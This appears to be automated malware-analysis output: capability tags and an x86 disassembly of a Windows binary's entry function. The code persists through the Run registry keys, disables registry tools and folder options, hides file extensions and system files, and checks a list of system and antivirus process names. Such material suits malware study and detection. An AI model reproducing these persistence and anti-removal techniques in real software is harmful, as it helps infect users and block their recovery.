Function at 0x401000
Capabilities:
Accept command line arguments
Delete file
Get common file path
Persist via run registry key

Disassembly:
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov dword [0x432f00], eax
call sub.KERNEL32.DLL_GetCommandLineA
mov dword [0x432f04], eax
push str._kjsfuihsuefhsygfysf
push dword [0x432f04]
call fcn.004026ef
or eax, eax
je 0x401051
push 0
call sub.ole32.dll_OleInitialize
push 0xa
push dword [0x432f04]
push 0
push dword [0x432f00]
call fcn.00406434
call sub.ole32.dll_OleUninitialize
push eax
call sub.KERNEL32.DLL_ExitProcess
call sub.KERNEL32.DLL_GetTickCount
push eax
call fcn.0040771a
push 0x7ff
push 0x40b5b9
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push 0x40b5b9
call fcn.004042ba
or eax, eax
jne 0x40115b
call fcn.00403e7c
push str.SETUP_
push 0x426666
call sub.KERNEL32.DLL_lstrcatA
call fcn.004046ef
call fcn.0040456d
push 0x40b5b9
push 0x400
call sub.KERNEL32.DLL_GetTempPathA
push str.cvfj378malfffieia.tmp
push 0x40b5b9
call sub.KERNEL32.DLL_lstrcatA
push 0x40b5b9
call sub.KERNEL32.DLL_DeleteFileA
mov dword [0x432dca], 0
mov dword [0x425dec], 0xf
jmp 0x40114c
push 0x4251ec
push str.dxxsetupsysmgmmsmgmgdi32wininstsyseditdebugwinampsystemwinloginsetupinstalltaskmgrmdmcsrsslsassservicessmssspoolsvsvchostwinlogonavpdrwebusermdmnvsvc32win32win16avp32hexdumpiexplarertaskmgr
call fcn.004049af
push 0x4251ec
call fcn.00404470
or dword [0x432dca], eax
or eax, eax
je 0x40111e
push 0x4251ec
push 0x426666
call sub.KERNEL32.DLL_lstrcatA
push str._STR_
push 0x426666
call sub.KERNEL32.DLL_lstrcatA
jmp 0x40113c
push 0x4251ec
push 0x426666
call sub.KERNEL32.DLL_lstrcatA
push str._ERR_
push 0x426666
call sub.KERNEL32.DLL_lstrcatA
push 0x1f4
call sub.KERNEL32.DLL_Sleep
dec dword [0x425dec]
cmp dword [0x425dec], 0
jne 0x4010db
push eax
call sub.KERNEL32.DLL_ExitProcess
call fcn.00403e7c
push 0x40935a
push str.PopupMgr
push str.SoftwareMicrosoftInternet_ExplorerNew_Windows
push 0x80000001
call fcn.00403ff9
push 0
call sub.ole32.dll_OleInitialize
or ax, ax
jne 0x401305
push str.WM_HTML_GETOBJECT
call sub.user32.dll_RegisterWindowMessageA
mov dword [0x432dea], eax
mov dword [0x4329b6], 0
jmp 0x4012f3
call fcn.00404a08
push 0x7f8
push 0x40b5b9
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push 0x4135b9
push 0x40b5b9
call fcn.004059c2
push 0x40b5b9
push 0x4135b9
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000001
call fcn.00403ff9
push 0x40b5b9
push 0x4135b9
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000002
call fcn.00403ff9
mov dword [0x424ff8], 1
push 0x424ff8
push str.DisableRegistryTools
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000001
call fcn.00404040
mov dword [0x424ff8], 1
push 0x424ff8
push str.NoFolderOptions
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
push 0x80000001
call fcn.00404040
mov dword [0x424ff8], 0
push 0x424ff8
push str.Hidden
push 0x424a0c
push 0x80000001
call fcn.00404040
mov dword [0x424ff8], 1
push 0x424ff8
push str.HideFileExt
push 0x424a50
push 0x80000001
call fcn.00404040
mov dword [0x424ff8], 0
push 0x424ff8
push str.SuperHidden
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced
push 0x80000001
call fcn.00404040
push dword [0x4329b6]
push 0x12c
call fcn.00407113
or eax, eax
je 0x4012da
mov dword [0x4329ba], 1
call fcn.00403bce
mov dword [0x425000], 0
pop eax
cmp eax, dword [0x4329b6]
jne 0x4012e9
inc dword [0x4329b6]
push 0x249f0
call sub.KERNEL32.DLL_Sleep
cmp dword [0x4329b6], 0x1f4
jb 0x4011a7
jmp 0x401327
push eax
push str.OLE__lX_
push 0x40b5b9
call sub.user32.dll_wsprintfA
add esp, 0xc
push 0x40b5b9
push 0x426666
call sub.KERNEL32.DLL_lstrcatA
push 0x424aec
push 0x426666
call sub.KERNEL32.DLL_lstrcatA
call sub.ole32.dll_OleUninitialize
call fcn.00403950
push eax
call sub.KERNEL32.DLL_ExitProcess